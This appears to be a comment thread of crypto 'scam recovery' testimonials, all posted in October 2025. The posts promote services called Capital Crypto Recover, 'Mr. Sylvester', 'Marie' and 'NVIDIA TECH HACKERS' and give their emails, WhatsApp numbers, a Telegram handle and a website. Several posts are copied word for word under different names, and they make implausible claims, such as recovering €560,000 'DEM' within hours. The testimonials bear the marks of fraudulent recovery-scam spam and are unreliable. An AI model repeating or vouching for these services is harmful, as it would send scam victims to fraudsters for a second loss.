"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1